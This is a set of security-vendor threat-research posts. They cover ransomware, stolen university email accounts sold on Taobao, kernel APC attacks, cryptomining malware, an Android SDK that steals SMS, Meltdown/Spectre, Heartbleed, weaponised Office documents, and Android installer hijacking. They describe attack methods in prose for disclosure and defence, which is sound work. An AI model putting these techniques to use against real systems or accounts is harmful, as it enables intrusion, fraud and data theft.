Bringing that lesson to bear here, the only way the operating system could protect against ransomware would be to raise “Are you sure?” dialog boxes on everyday operations against the kinds of files that ransomware targets.
And this is where the second point comes to bear.
Unlike other forms of malware, ransomware is very specific in its targeting.
It goes after the files users are most likely to care about.
These also happen to be files users are most likely to use on a day-to-day basis or that are critical to an organization’s operations.
Extra layers of protection for those files would be incredibly onerous.
Imagine having to click through “Are you sure?” dialog boxes for every document or picture you opened in a day.
From an engineering point of view, this sole, specific targeting of files that matter significantly increases the chances of ransomware’s success.
This brings us to the third point: there is little attack time wasted on files that don’t matter to the victim.
Even a successful ransomware attack that is halted early by security software will achieve some level of damage – enough to make the victim consider paying the ransom to get the files back.
If user32.dll were encrypted and unusable, it would be a problem.
But when your organization’s overall accounting and audit report is inaccessible right before the big deadline, that’s catastrophic.
The net of these three points is that ransomware is a threat such that focus needs to be placed solely around prevention.
There is no effective solution for ransomware at the operating system level, as outlined above.
And unlike other attacks, ransomware attacks can’t succeed “just a little.” In some cases, a single file lost is more than enough to count as a fully successful attack.
In some ways, ransomware is a threat unlike any other.
Its impact and scope are both broad and deep in ways that are unique.
Because of that, from a risk assessment point of view, ransomware needs to be put in a class by itself – a class that acknowledges that the risks from a successful attack of any kind are very high.
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Recently, we found email accounts from top universities across the world being sold on Taobao, the largest consumer-to-consumer (C2C) e-commerce platform in China.
Advertised uses for these accounts included registering for special accounts under software developer programs, receiving student discounts or coupons from retailers, and obtaining access to academic databases.
This post describes the scope, associated risks, and implications of this activity.
Our investigation began with a Chinese language search for "edu mailbox" in Taobao, which returned 99 results related to stolen university email accounts.
The most expensive account was listed at ¥2400 RMB ($390.80 USD), while the cheapest was only ¥0.98 RMB ($0.16 USD).
Figure 1: Results for Chinese language "edu mailbox" search on Taobao.
These accounts, which include an education (EDU) top-level domain email address with valid password, represent 42 of the world’s top universities, across 10 countries:
Australia:
Canada:
China:
Denmark:
Italy:
Singapore:
Sweden:
Switzerland:
United Kingdom:
United States:
The sellers guaranteed that all email accounts were valid, accessible, and active.
The descriptions for these items proposed three main uses for buyers:
1.
Registering for special accounts under software developer programs: For example, the most popular account type, which has been bought at least 569 times, was advertised as a Microsoft’s student Windows Phone 7 and 8 developer account.
By using this kind of account, a user can perform a developer unlock on their Windows Phone devices without incurring a fee.
Most reviews of this package were favorable, with comments like "very good to use" or "with seller’s help I can unlock my phone now."
Figure 2: The most popular account type has sold at least 569 times.
2.
Receiving student discounts or coupons from retailers: Some accounts advertised candidacy towards registration for student discount at retailers such as Amazon, BestBuy, Apple, and Dell.
For example, the standard annual fee for Amazon Prime is $99 USD; however, with the student discount, a buyer could enjoy it for free the first six months and then renew at half price for subsequent years.
Figure 3: The seller showed how to register for student discount accounts.
3.
Obtaining access to academic databases: Accounts for big universities (e.g., MIT, Stanford, etc.)
are mainly used to access respective library services and resources, "including research help, study spaces, print and electronic books/journals and more."
Figure 4: A seller advertises how an MIT account can be used to access online library resources.
We talked with some sellers through AliWangWang, an instant message (IM) system developed by Taobao for online trading.
A well-stocked seller told us that every account he sold belonged to an active student at the respective university.
He claimed that once the account was sold, only the one buyer and the legitimate user would have access.
He recommended not changing the account password to avoid detection by the legitimate user.
Another seller offered to provide real identity information for a stolen account so the buyer could change the corresponding password and security questions.
This type of account access was the most expensive and least flexible in terms of customization (i.e., username, institution, etc.).
Additionally, it should be noted that there is value beyond the EDU account itself for password and security question information, in the event they are shared across other online accounts for the legitimate user.
Other sellers were also able to offer customizable email accounts from a specific domain/institution.
Figure 5: A seller advertising a customizable “xxx.edu” email account.
In the above advertisement, the seller describes the ability to choose an account under a subdomain (academia, student, me, email, or contact) of the requested domain.
The price for this custom account was only ¥27 RMB ($4.40 USD); for an extra ¥13 RMB ($2.12 USD), the buyer can request a custom username at any subdomain for the given institution.
To further assess this threat, we purchased a customized, new account from a seller on Taobao.
Four hours later, we received confirmation that the custom email address "claud@student.cnri.edu" was active.
Navigating to CNRI’s webmail page, we were then able to successfully access and send an email from that account.
Figure 6: Sending an email through a newly bought customized EDU account.
Another noteworthy trend we observed was that some sellers provided email addresses with customizable usernames at "californiacolleges.edu".
In fact, anyone can do the same by visiting the California Colleges Create an Account page.
Accounts made through this site "can be used to apply [for] related memberships of Amazon Prime, Microsoft Developer, Adobe and Apple by some secret ways," one seller said.
Figure 7: Using a newly created California Colleges account.
As with most criminal enterprises, not all sellers on Taobao use their real identity, presenting a challenge in tracking down the individuals behind this activity.
In order to sell anything on Taobao, a seller must at least create a valid Alipay account (similar to PayPal) linked to a valid Chinese citizen ID number (similar to a U.S. Social Security number), and then associate it with a valid Chinese bank account under the same citizen ID.
However, identity theft is a global concern and the Chinese citizen ID is no exception, allowing for potential sellers to simply purchase a usable identity online.
Based on our investigation, we believe that stolen accounts for these universities are actively selling on Taobao.
On August 27, we reported our findings to Taobao.
Their response was that they were addressing this issue and have already removed a number of these items, with the remainder requiring further investigation.
However, this malicious seller activity may also reveal a larger scale problem within university systems.
Through the types of accounts advertised on Taobao, an attacker can steal a student or staff account, assume their identity, and gain unauthorized access to standard university resources.
More sophisticated and nefarious uses include leveraging accounts in social engineering/phishing attacks or exploiting access to high-value university systems (e.g., personnel, financial, research) to steal information.
Fortunately, a number of the institutions impacted by this activity have already implemented two-factor authentication for high-value resources, reducing the risk of the latter.
Yet, we believe the residual risk and exposure call for further action.
The following are our suggestions for discovering and mitigating risks associated with this activity:
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In the months since the WanaCrypt0r/WannaCry and the Petya/NotPetya attacks, security researchers have delved into the nuts and bolts these incidents and the malware involved.
One key thing that research into these security incidents shows is that these attacks used a relatively new and unknown technique called kernel APC attacks as part of their toolkit.
Kernel APC attacks occur in a way that increases the “stealth” factor and makes standard detection and prevention very difficult.
And kernel APC attacks do this while still maximizing the power and control that the code has on the target system.
While kernel APC attacks aren’t well known and can be hard to understand, their proven success in WanaCrypt0r/WannaCry and the Petya/NotPetya make them an important threat to understand because proven attack techniques are quickly adopted widely.
And understanding is a first step to prevention.
To understand what makes kernel APC attacks so dangerous, it’s important to understand what they are.
The kernel is the heart of the operating system.
When talking about operating systems with security permissions and controls like Windows or UNIX/Linux, the kernel operates with the highest level of control.
Because of this, attacks against the kernel are used to gain complete control over a system, generally as part of an “elevation or privilege” (EoP) or “privilege escalation” attack.
Typically, attacks against the kernel are used in conjunction with code execution attacks so that an attacker can target a limited privilege user but ultimately gain full control over the system.
Privilege escalation attacks against the kernel have been around for some time and are well-known and can be well protected against.
Kernel APC attacks however are a different class of attack.
These don’t attack the kernel to gain privileges.
Instead kernel APC attacks already have kernel privileges and use them to further carry out their attack.
In this case by making legitimate programs execute malicious code rather than their own legitimate code.
Kernel APC attacks do this using their control over the kernel to redirect APCs: “Asynchronous Procedure Calls”.
APCs can basically be thought of as places in line for the CPU that the kernel gives access to.
In a kernel APC attack, the attacker gives a legitimate program’s place in line to the attacker’s code.
The crux of what makes this attack technique so important is how the technique uses this level of control to have legitimate programs run illegitimate commands.
It’s easier to detect and prevent illegitimate programs (malware) from executing commands.
But when legitimate programs execute illegitimate commands, it’s harder to detect and prevent: it’s not always clear whether a command is legitimate or not, and interfering with commands from legitimate programs can have significant (sometimes catastrophic) unintended consequences.
And finally because of ways that kernel APC attacks are carried out, it doesn’t leave the usual fingerprints you find after an attack making detection harder still.
Taken altogether, these make kernel APC attacks an effective and sophisticated technique.
And while this technique alone isn’t solely responsible for the damaging power of WanaCrypt0r/WannaCry and Petya/NotPetya it is certainly an important contributing factor.
Perhaps more importantly, it’s a piece of those attacks that has escaped relative notice outside of some specialized parts of the research community.
New effective attack techniques that escape notice are always inviting for other copycat attackers.
A good way to defend against this is to understand and be aware of the thread: forewarned is forearmed.
If you want a more detailed understanding of kernel APC attacks as they occurred in WanaCrypt0r/WannaCry, two good resources are Microsoft’s MMPC blog “WannaCrypt ransomware worm targets out-of-date systems” and Countercept’s “DOUBLEPULSAR Usermode Analysis: Generic Reflective DLL Loader”.
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Over the past six months, we’ve seen a major increase in the number of attack campaigns with the ultimate goal of mining cryptocurrency.
It’s a subject Unit 42 has been tracking in the past year:
So, what is driving a widespread shift from attackers and creating a significant trend in the industry?
There are three factors at work:
To answer the question in more detail, it’s important to put yourself into the criminal’s shoes and consider what alternative routes they have to monetize infections.
In this brief, we’ll share how this trend came to fruition, why it’s so prevalent, and how security professionals and defenders can keep an eye out for this rising type of threat.
How Attacks Monetize Infections
While targeted attacks gain the most attention from researchers and media, the majority of malware infections are untargeted and even indiscriminate.
Instead of seeking out specific targets, many criminals aim to infect as many systems as possible and then turn those infections into cash.
This has been true for over a decade, although the mechanisms available to criminals have shifted in that time.
To understand where we are now, it helps to look at how we got here, and to look at the evolution of common cybercriminal activities.
Back in the early 2000s, some of the earliest “botnet herders” made their income by relaying spam emails through infected computers.
Over time, that business became less profitable due to anti-spam controls and ISPs preventing infected systems from directly relaying emails.
In the mid-2000s, criminals made great profits from using Banking Trojans to steal credentials for online banking websites, and subsequently draining the accounts’ associated funds.
This account takeover activity continues today, but various anti-fraud measures and law enforcement actions have made it less profitable and riskier for criminals.
Another aspect of Banking Trojan infections is that, while the criminal may be infecting hosts indiscriminately, the value of the host greatly depends on the individual who owns it, and the criminals’ ability to “cash out” their bank account.
Figure 1 is a capture from a book I wrote with some colleagues in 2008, “Cyber Fraud: Tactics, Techniques, and Procedures.” It shows the price that a criminal enterprise called IFRAME DOLLARS was charging to infect computers in various countries at that time.
Figure 1: Capture from Cyber Fraud: Tactics, Techniques, and Procedures showing prices of host infections by country.
In 2007, the infection of a system in Australia went for US$0.60, while an infection in Poland was only a fraction of the cost, at US$0.096.
The difference in price represented the difference in value: criminals were able to make more money through a Banking Trojan account takeover from an Australian infection than they could in Poland.
This was due to many factors, but chief among them was that criminals were more successful at cashing out accounts from Australian infections than they were from systems in other parts of the world.
As anti-fraud protections evolved, so did the criminals.
Fast forward five years to 2013 and the rise of the Ransomware business model.
This new way to generate profit had two major advantages over account takeovers:
Put another way, the ransomware model represented both increased efficiency and decreased risk in monetizing the infection.
Anyone who’s been paying attention to cybercrime since 2013 is aware of the ransomware surge, infecting systems throughout the world and plaguing networks’ administrators.
While only a tiny fraction (possibly 1 in 1000) of systems infected with a banking Trojan pay out for attackers, a much higher portion of ransomware victims pay to get their files back.
While US$300 payments are less than a single account takeover could return, ransomware makes greater returns due to the volume and decreased risk in this new business model.
Cybercriminals have become good business people: they saw the benefits and embraced the change.
Enter “The Bubble” – Where We Are Now
In the last two years, but particularly in the last six months, the price of bitcoin and other cryptocurrencies experienced a massive price surge with respect to the U.S. dollar and other fiat currencies.
Here’s the chart for bitcoin over the last two years, showing a rise of 2,000% to 4,000% in the versus the U.S. dollar.
Figure 2: Price of bitcoin in U.S. dollars from CoinMarketCap
While botnets mining cryptocurrency is nothing new, the technique was much less profitable than using ransomware.
In fact, with the rise of specialized bitcoin mining hardware, no regular PC can make any significant amount of money for an attacker.
However, there are many other “crypto coins” in the market today.
The one we see mined most by attackers is called Monero.
In contrast to bitcoin, Monero was designed to enable private transactions using a closed ledger, and its mining algorithm is still mined effectively by both PC CPUs and GPUs.
As the chart below shows, Monero has risen even faster than bitcoin in price in the last two years, with more than a 30,000% gain in U.S. dollars.
Figure 3: Price of Monero in U.S. dollars from CoinMarketCap
A normal PC used to mine Monero can earn around US$0.25 per day at the current prices.
That number is small, but it’s important to note that it doesn’t matter what country or network a Monero miner is part of: computers in Australia and Poland mine at the same speed.
Every infected system is a profit-generating resource when mining Monero, and users are much less likely to identify their infection and remove the mining program than they would be with ransomware.
For context, in January, we found a Monero mining campaign that infected around 15 million systems, largely in the developing world.
If these systems remained infected for at least 24 hours each, the attackers could have earned well over 3 million U.S. dollars in Monero.
Additionally, the risk of arrest and conviction is significantly lower than with ransomware, as mining cryptocurrency is less likely to generate reports to law enforcement than a data-destroying ransomware infection.
What’s Next?
This wave of attacks will continue as long as it maintains a high level of profitability with a low level of risk for cybercriminals.
For defenders, it’s important to note that the techniques used to infect systems with coin mining malware are the same as they were for ransomware.
Infections typically begin with emails carrying malicious macro documents, drive-by exploit kits targeting browsers, or direct attacks on servers running vulnerable software.
There is no single solution to stopping these attacks, but the same technologies and policies you use to prevent other malware infections will be effective.
Across the changing landscape of botnet herders, Banking Trojans, ransomware and coin mining is one constant: the business-savvy drive to maximize profit and reduce risk.
Using these as our guide, we can make sense of where we are today, how we got here, and be prepared for what has yet to develop in the future.
Here are three things to watch for:
1.
A marked increase in the price of Monero or other cryptocurrencies will draw even more attackers into this business.
For many users, this could actually be a positive development, as the negative impact of having resources sapped from one’s computer is much less than paying a ransom or restoring your system from a backup due to ransomware.
Conversely, a crash in the price of cryptocurrencies will decrease the profitability and drive criminals back to ransomware.
2.
Listen to your fans or keep an eye on your CPU usage.
Many users realize their system is infected with coin mining malware when their laptop fans kick into high-speed mode to keep the overtaxed CPU cool.
Listening to fans won’t work at the enterprise scale, but implementing widespread CPU performance monitoring could be a good way to find compromised devices.
This will also help you identify the coin mining “insider threat,” as misguided administrators may see their organizations’ unused CPU time as a way to generate personal income.
3.
Criminals will find ways to target these attacks.
Compromising a user’s browser or a regular home PC will net the criminal an average system for mining coins, but higher-end systems will generate more income.
Attackers will soon begin targeting devices with higher specifications to get more bang for their buck.
Gaming PCs with high-end GPUs and servers with large numbers of processing cores will be prime targets.
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Mobile app creators are often looking for ways to monetize their software.
One of the most common ways to do this is by displaying advertisements to users or by offering in-app purchases (IAPs).
Mobile monetization platforms create software libraries that authors can embed into their apps to start earning money quickly.
We previously highlighted the dangers of installing apps that enable IAPs using SMS messages, as these apps typically have access to all SMS messages sent to the phone.
While not all SMS-based IAP applications steal user data, we recently identified that the Chinese Taomike SDK has begun capturing copies of all messages received by the phone and sending them to a Taomike controlled server.
Since August 1, Palo Alto Networks WildFire has captured over 18,000 Android apps that contain this library.
These apps are not hosted inside the Google Play store, but are distributed via third party distribution mechanisms in China.
Background
WildFire captures many samples of mobile malware that intercept and upload SMS messages.
Most of these are created by malware authors who set up command and control (C2) servers with third party hosting providers and frequently update their locations to avoid detection.
Among these malware we have found many that are created by “mobile monetization” companies who distribute apps that provide little value but have a high cost to the user.
These apps are often installed by tricking users into clicking a pop-up, only to find later that a charge has appeared on their phone bill.
Antivirus programs typically identify these apps as malware, the topic of this blog is something different and harder to detect.
Taomike is a Chinese company that aims to become the biggest mobile advertisement solution platform in China.
They provide an SDK and services to help developers display rich advertisements with a high pay rate.
Taomike has not previously been associated with malicious activity, but a recent update to their software added SMS theft functionality.
The apps this library is embedded in may be legitimate and have significant functionality, but their developer’s choice to use this library has put them at risk.
Technical Details: SMS Theft
Not all apps that use the Taomike library steal SMS messages.
Our analysis indicates that only samples that contain the embedded URL, hxxp://112.126.69.51/2c.php have this functionality.
This is the URL to which the software uploads SMS messages, and the IP address belongs to the Taomike API server used by other Taomike services.
We have captured around 63,000 Android apps in WildFire that include the Taomike library but only around 18,000 include the SMS theft functionality.
We believe there are different versions of the Taomike SDK and only some of them include SMS uploading behavior.
Based on our data, the version that contains the SMS stealing functions is newer and was released around August 2015.
Apps that use earlier versions of the library appear to be safe.
The Taomike library is called “zdtpay” and is a component of Taomike’s IAP system.
Because Android apps are required to list the permissions they need in their manifest file, we can see that this library requires both SMS and network related permissions.
The library also registers a receiver named com.zdtpay.
Rf2b for both the SMS_RECEIVED and BOOT_COMPLETED actions with highest priority of 2147483647.
Figure 1.
Registered receiver for SMS_RECEIVED
The registered receiver Rf2b reads SMS messages whenever they arrive.
The message body and sender phone number are collected as shown in Figure 2.
Figure 2.
SMS body and sender number read
If the device has just booted, it will start the service MySd2e, which then registers a receiver for Rf2b as shown in Figure 3.
Figure 3.
MySd2e Service registers receiver for Rf2b
SMS information collected by the receiver is saved in a hashmap with “other” as the key and sent to a method that uploads the message to 112.126.69.51 as shown in Figure 4.
Figure 4.
Information uploaded to IP Address used by api.taomike.com
All SMS messages sent to the phone are uploaded, not just those that are relevant to Taomike’s platform.
Figure 5 shows a packet capture of a test message upload.
The message content is “hey test msg” as circled with dashed red box.
Figure 5.
SMS uploaded via HTTP in pcap
The Taomike library makes contact with the following URLs, but only the “2c.php” path is used to capture SMS messages.
The rest appear to be used for other parts of the IAP functionality in the library.
Risks and Mitigation
We have captured over 18,000 samples that contain the SMS stealing library since August 2015, meaning the number of affected users is considerable.
We expect the number of affected apps and users to increase as more developers incorporate the newer version of Taomike library.
The infected apps are not limited to a single developer or third party store as many developers appear use the Taomike library.
Some of the infected apps purport to contain or display adult content.
We do not know how Taomike is using the stolen SMS messages, but no library should capture all messages and send them to a system outside the phone.
In version 4.4 of Android (KitKat) Google began preventing apps from capturing SMS messages unless they were defined as the “default” SMS app.
Users outside of China and those that only download apps from the official Google Play store are not at risk from this threat.
To protect Palo Alto Networks customers from the Taomike SMS stealer, we’ve made the following protections available:
Conclusion
Even popular third party monetization platforms are not always trustworthy.
When developers incorporate the libraries into their apps they need to carefully test them and monitor for any abnormal activities.
Identifying monetization and advertising platforms that behave poorly and abuse their users is something that our industry must to do ensure the safety of all mobile devices and their users.
Acknowledgement
We greatly appreciate the help from Rongbo Shao from Palo Alto Networks in working on the Threat Prevention signature.
We would also like to thank Ryan Olson, Benjamin Small, Richar Wartell, and Chris Clark from Palo Alto networks in publishing the discovery.
Related Sample Hash Values
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Bottom line up front:
Overview
In the past 48 hours, there has been a flurry of activity as hardware and software vendors move to address two sets of vulnerabilities that have been dubbed “Meltdown” and “Spectre”.
This blog is meant to give an overview of the situation, the vulnerabilities, assist Palo Alto Networks customers and others with their risk assessment, and provide recommendations for actions they can take to prevent successful attacks against these vulnerabilities.
Situation
On January 3, 2018, researchers, including those with Google Project Zero, released information on three new vulnerabilities:
They grouped these vulnerabilities under the names “Spectre” (CVE-2017-5753 and CVE-2017-5715) and “Meltdown” (CVE-2017-5754).
Comprehensive details on both of these are available at https://meltdownattack.com.
Security updates to address these vulnerabilities began to be released prior to disclosure on January 3, 2018.
Security updates are continuing to be released and are expected to be released over time due to the uniquely broad nature of these vulnerabilities.
At the time of this writing, there are no known active attacks against any of these vulnerabilities.
Vulnerabilities
These vulnerabilities present a unique situation because they ultimately are hardware-based vulnerabilities.
All three stem from issues in modern processors and are known to affect Intel and ARM chips.
The vulnerability status of AMD chips is unclear at the time of this writing.
Because these affect processors, this means that the operating systems and applications that run on top of these processors are vulnerable.
Because these vulnerabilities affect the processors at the physical layer, the only way for the vulnerabilities to be fully addressed is for the processors to be replaced or to have a firmware update.
Until then, the makers of operating systems can (and have) released patches that make the physical-layer vulnerabilities inaccessible.
For all intents and purposes, it “patches” the vulnerabilities.
Full technical details on the vulnerabilities are available at the sites referenced above.
But the key point to understand about these vulnerabilities is that they are information disclosure vulnerabilities that can enable processes and applications to access information they otherwise shouldn’t be able to: user-mode applications can access privileged information in the kernel and throughout the operating system.
For regular end-user systems and devices, malware and malicious scripts can use these vulnerabilities to access information like usernames, passwords and account information.
For shared-hosting environments like public cloud providers, this means that one hosted customer could potentially access the information of any other customer hosted on the same hardware.
Based on analysis of the vulnerabilities, an industry consensus is emerging that generic protections against attacks aimed at these vulnerabilities will be difficult, if not impossible to develop.
This means that prevention against attacks will have to focus on specific malware, attacks, and hosting sites as they emerge.
Risk Assessment
Because these are information disclosure vulnerabilities, they don’t pose the same, immediate danger like WannaCry/WanaCrypt0r or Petya/NotPetya.
This has more in common with the Heartbleed event of 2014.
In terms of the severity of the vulnerabilities themselves: they are important, but not critical.
They are information disclosure, not code execution, vulnerabilities.
The greatest area of risk is in shared-hosting scenarios.
Fortunately, most cloud providers have already deployed security updates and those that haven’t are expected to do so shortly.
For end-users and those managing networks, the greatest risk these vulnerabilities pose is exploitation by malware seeking to gather information like usernames and passwords from systems.
What makes these vulnerabilities most notable from a risk assessment point of view is breadth of exposure.
Since these potentially affect nearly every device with a modern processor, that means that full mitigation and remediation may not be possible.
Older systems (like Windows XP) and devices (like older Android smartphones and IoT devices) will likely never receive fixes for these vulnerabilities.
Calls to Action
The actions to take in response to this event are clear and simple:
As always, we will continue to watch this event closely and provide any updates that we can.
For information on how Palo Alto Networks products are affected by these issues, customers can see our posting on the Live Community at: https://live.paloaltonetworks.com/t5/Customer-Advisories/Information-about-Meltdown-and-Spectre-findings/ta-p/193878/jump-to/first-unread-message.
If you have any questions, please visit the Threat & Vulnerability Discussions on our Live Community.
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This has been a fun week.
We have not had a significant cyber event like this – something that affects just about everybody on the Internet -- since the Kaminsky DNS vulnerability of 2008.
Everybody I know has been scrambling to understand what it means to their organization, to their business and to their immediate family.
Yes, I said family.
I am sure I am not the only one who has answered a question or two from his mother-in-law about how the Internet is melting down based on what she’s been reading in the press.
There’s a lot out there already about what Heartbleed means for the Web and beyond, and I’ll point you to our own analysis written by Scott Simkin or an essay by Dan Goodin over at ars technica for that explanation.
Instead, here are eight things I am doing right now to protect Palo Alto Networks and my home (and mother-in-law) and that you should be doing, too:
If there’s a long-term consideration here, it’s to install perfect forward secrecy, as Twitter did last year.
That ensures that a session key derived from a stolen private key and a collected public key in the future will not be compromised.
For more:
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Nearly all of us have a use for Microsoft Office documents.
Whether they are work documents, e-receipts, or a lease on a new apartment – Office documents are useful to all of us, and this is part of the reason we’re very likely to open an office document we receive as an attachment in e-mail.
Armed with the knowledge that many people will open nearly any document, even those from an untrusted source, adversaries commonly choose these files in attacks to compromise a system.
In this threat brief we show you five different ways that Office documents can be subverted and abused to attack and compromise a Windows endpoint, some we’ve already posted about before, and some are new.
Macros
Macros are the most straight-forward way for an attacker to weaponize Office documents.
Office applications have a built-in script engine that can run VBA (Visual Basic for Applications) scripts.
These scripts can execute immediately as the document opens, without any user interaction (assuming the user has previously enabled macros) and run malicious code on the system.
If the user has not enabled macros, a popup window will appear asking the user to click to do so.
The pop-up is one of several security mechanisms added by Microsoft to mitigate the security risk that macros pose.
Microsoft will also force a different file extension (.docm instead of .docx for new documents containing macros).
Despite these measures, users still choose to open these files and enable their content, thus allowing macros to continue be a common attack vector – both in wide and simple attacks to deliver ransomware such as Emotet, as well as for sophisticated attacks like this Sofacy campaign.
Figure 1.
The Sofacy document before & after the content is enabled
As you can see in this example, attackers try to convince users to disable the security mechanisms added by Microsoft using social engineering, convincing the user to enable content for them to be able to see the full document.
In the Sofacy example, the attackers had simply made the font color white, so the text was present prior to the user enabling macros, just not clearly visible.
Embedded Flash files
In addition to built-in capabilities, like macros, Office documents can also be embedded with external objects, such as Adobe Flash files.
These objects are passed to the appropriate software for handling, thus any vulnerability that the software has can also be exploited by embedding it within the Adobe Flash content in the Office document.
An example for such attack vector being leveraged by attackers is CVE-2018-4878, an Adobe Flash Player Zero-Day exploited by embedding malicious SWF files in Excel documents.
In these types of attacks, the malicious Excel contains embedded Adobe Flash content which can trigger the Flash vulnerability and execute embedded shellcode.
Microsoft Equation Editor
In a similar way to embedding Adobe Flash files into an Office document, you can also embed equations in documents that will be parsed by Microsoft Equation Editor - a program that lets you easily write mathematical equations:
Figure 2.
Microsoft Equation Editor
As in our previous example, vulnerabilities in the equation editor can be exploited by leveraging malicious Office documents.
We’ve seen examples of this just recently, when CVE-2017-11882 was exploited in the wild, paving the way to other exploits like CVE-2018-0802, both of which exploit flaws in the equation editor, enabling attackers to get from the user opening an Office document to remote code execution.
While still not seen in the wild, similar exploits in Microsoft Equation Editor, such as such as CVE-2018-0807 and CVE-2018-0798, were identified by Unit 42 researchers.
Note that since the Microsoft Equation Editor runs as its own process (eqnedt32.exe), protections specific to Microsoft Office such as EMET and Windows Defender Exploit Guard are not effective by default, as they only protect Microsoft Office processes (such as winword.exe).
OLE Objects & HTA Handlers
OLE Objects & HTA Handlers are mechanisms Office documents use to make references to include other documents in their content.
They can be used to compromise an endpoint in the following way:
This functionality was leveraged in exploitation of CVE-2017-0199 - a Microsoft Office/WordPad remote code execution (RCE) vulnerability patched by Microsoft in September 2017, and was used in multiple campaigns, like this OilRig campaign.
Figure 3.
RTF files will look exactly like regular Word documents
In addition to the previous OLE & HTA exploit, attackers discovered RTF files can also execute ‘text/html’ mime-type OLE objects using the MSHTML.
This means that RTF documents expose the same attack surface as Internet Explorer!
Leveraging this logical vulnerability, known as CVE-2018-8174, allows attackers to execute arbitrary HTML/JavaScript/VBScript.
While code executed in this way is ‘sandboxed’ (where it cannot run new processes or write to the filesystem etc.
), like other code running from Internet Explorer, this flaw can be used to leverage other vulnerabilities, such as a memory corruption UAF vulnerability in the VBScript engine, to gain arbitrary code execution in the context of the Word application (winword.exe), allowing them to gain control on the system.
Conclusion
While document-based attacks have been a common attack vector for over a decade, we’re seeing a recent rise in their popularity and complexity.
This rise may be a result of browser exploits becoming more difficult to use, due to the hardening done by browser developers.
No matter the reason, it is important that organizations know how to defend against these common techniques.
Prevention
Palo Alto Networks Traps advanced endpoint protection offers multiple methods of malware and exploit prevention to protect against these threats:
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We discovered a widespread vulnerability in Google’s Android OS we are calling “Android Installer Hijacking,” estimated to impact 49.5 percent of all current Android users.
In detail:
In January 2014, we uncovered a Time-of-Check to Time-of-Use (TOCTTOU) vulnerability in Android OS that permits an attacker to hijack the ordinary Android APK installation process.
This hijacking technique can be used to bypass the user view and distribute malware with arbitrary permissions.
It can substitute one application with another, for instance if a user tries to install a legitimate version of “Angry Birds” and ends up with a Flashlight app that’s running malware.
We are calling the technique that exploits this vulnerability Android Installer Hijacking.
We have been cooperating with Google and major manufacturers such as Samsung and Amazon to patch affected Android devices.
In order to understand how this works, let’s first take a look at how Android installs apps.
Android supports the ability to install apps from the Google Play store as well as from the local file system.
Google Play downloads Android packages (APKs) to a protected space of the file system.
Third party app stores and mobile advertisement libraries usually download APK files to unprotected local storage (e.g.
/sdcard/) and install the APK files directly.
Both methods use a system application called PackageInstaller to complete the installation.
On affected platforms, we discovered that the PackageInstaller has a “Time of Check” to “Time of Use” vulnerability.
In layman’s terms, that simply means that the APK file can be modified or replaced during installation without the user’s knowledge.
The Installer Hijacking vulnerability affects APK files downloaded to unprotected local storage only because the protected space of Play Store app cannot be accessed by other installed apps.
Let’s take a closer look at what happens.
On Android, there are many ways to trigger the app installation process, for example, when the user clicks a downloaded APK file, or when the user downloads an app from a third party app store app, or when the user clicks on an app promotion advertisement hosted by a mobile advertisement library.
No matter which way an APK installation process is triggered, it always follows the same procedure:
First, the system service PackageInstaller starts the installation process by parsing the APK file and retrieves critical information about the app, such as the app name, app icon and the security permissions that the app requests.
This is presented to the user in a PackageInstallerActivity view on the screen, as seen below Fig 1:
Fig 1.
User reviews the detail information of app to be installed (i.e.
“Time to Check”).
This is the “Time to Check”, because it verifies that the user really wants to install the app, and tells the user what permissions that they are authorizing the app to perform.
All Android apps perform this step, and the user clicks “Next” to view the full list of permissions, and then clicks “Install” to continue the installation process (as in Fig 1).
A vulnerability exists in this process because while the user is reviewing this information, the attacker can modify or replace the package in the background.
Verified with Android OS source code posted in AOSP, it shows that the PackageInstaller on affected versions does not verify the APK file at the “Time of Use”.
Thus, in the “Time of Use” (i.e., after clicking the “Install” button), the PackageInstaller can actually install a different app with an entirely different set of permissions.
This vulnerability can be exploited in multiple ways:
Method A: Externally modifying the APK
The attacker can use a benign-looking app to install malware in the future.
This method has several stages:
One tricky question with Method A would be how the App X detects that the PackageInstallerActivity view has been launched.
There are two approaches here:
Method B: Self modifying the APK
This exploit can take advantage of the same vulnerability to mask what permissions the app really requires.
This vulnerability affects Android device users as well as Android app developers.
For Android device users, the users may end up with installing apps that are not the ones they agree to install.
Android app developers are also affected, because app-store apps and mobile ads libraries that do not rely on Google Play store would be likely to save the promoted apps in unprotected storage, e.g.
/sdcard.
Like the example we show with Amazon appstore app, the unprotected storage in /sdcard may allow attackers to replace the promoted apps with malware apps.
We have successfully tested both exploits against Android 2.3, 4.0.3-4.0.4, 4.1.X, and 4.2.x.
According to Android Dashboard, this vulnerability affected approximately 89.4 percent of the Android population as of January 2014 (when we first discovered it), and approximately 49.5 percent of the Android population as of March 2015.
These exploits do not require the device to be rooted, but rooted devices are more vulnerable.
Be aware that some phone vendors’ Android 4.3 distributions may contain this vulnerability as well.
According to source code posted on the AOSP website, Android 4.3_r0.9 introduced a hash check of the Android manifest that is verified between “Time to Check” and “Time to Use”.
However, we have found that there are some phone vendors’ Android 4.3 distributions that do not include this check.
For instance, we have successfully tested this exploit on Samsung Galaxy S4 Android phones running Android 4.3 (Build version JSS15J.I337UCUEMK2, Built on Nov. 16, 2013), and Amazon Fire OS version 13.3.2.5.
Both Samsung and Amazon have released fixed on their affected devices after receiving our vulnerability reports.
We encourage all Android device vendors to verify the existence of this vulnerability on their devices including those with Android 4.3.
Android version 4.4 and later versions have fixed this vulnerability.
Palo Alto Networks has published a vulnerability scanner app in the Google Play store.
Also, we have recorded a tutorial video about how to check the existence of installer hijacking vulnerability with our vulnerability scanner app, available here.
To facilitate security researchers and other vendors, we have also open sourced the vulnerability scanner app on Github at https://github.com/PaloAltoNetworks-BD/InstallerHijackingVulnerabilityScanner.
Enterprises concerned about the risk should take the following steps:
App developers concerned about the risk should save the downloaded APK files to protected storage space only.
From Google:
“Android Open Source Project includes patches for this issue for Android 4.3 and later.
The patch is available for review here:  https://android.googlesource.com/platform/packages/apps/PackageInstaller/+/2b3202c3ff18469b294629bf1416118f12492173
The Android Security Team has not detected any attempts to exploit this vulnerability on user devices.”
From Amazon:
"Customers should move to the latest version of the Amazon AppStore which gets updated automatically on Fire devices and for 3rd party Android devices it can be updated via www.amazon.com/getappstore."
We would like to thank Ryan Olson, Huagang Xie, Claud Xiao, Colt Blackmore, and Taylor Ettema from Palo Alto Networks for their great help in verifying the vulnerability and communicating with vendors.
We also greatly appreciate the help from Scott Simkin, JL Watkins, Baoyue Hu, and Erik Jacobsen from Palo Alto Networks in publishing the discovery and building the scanner app.
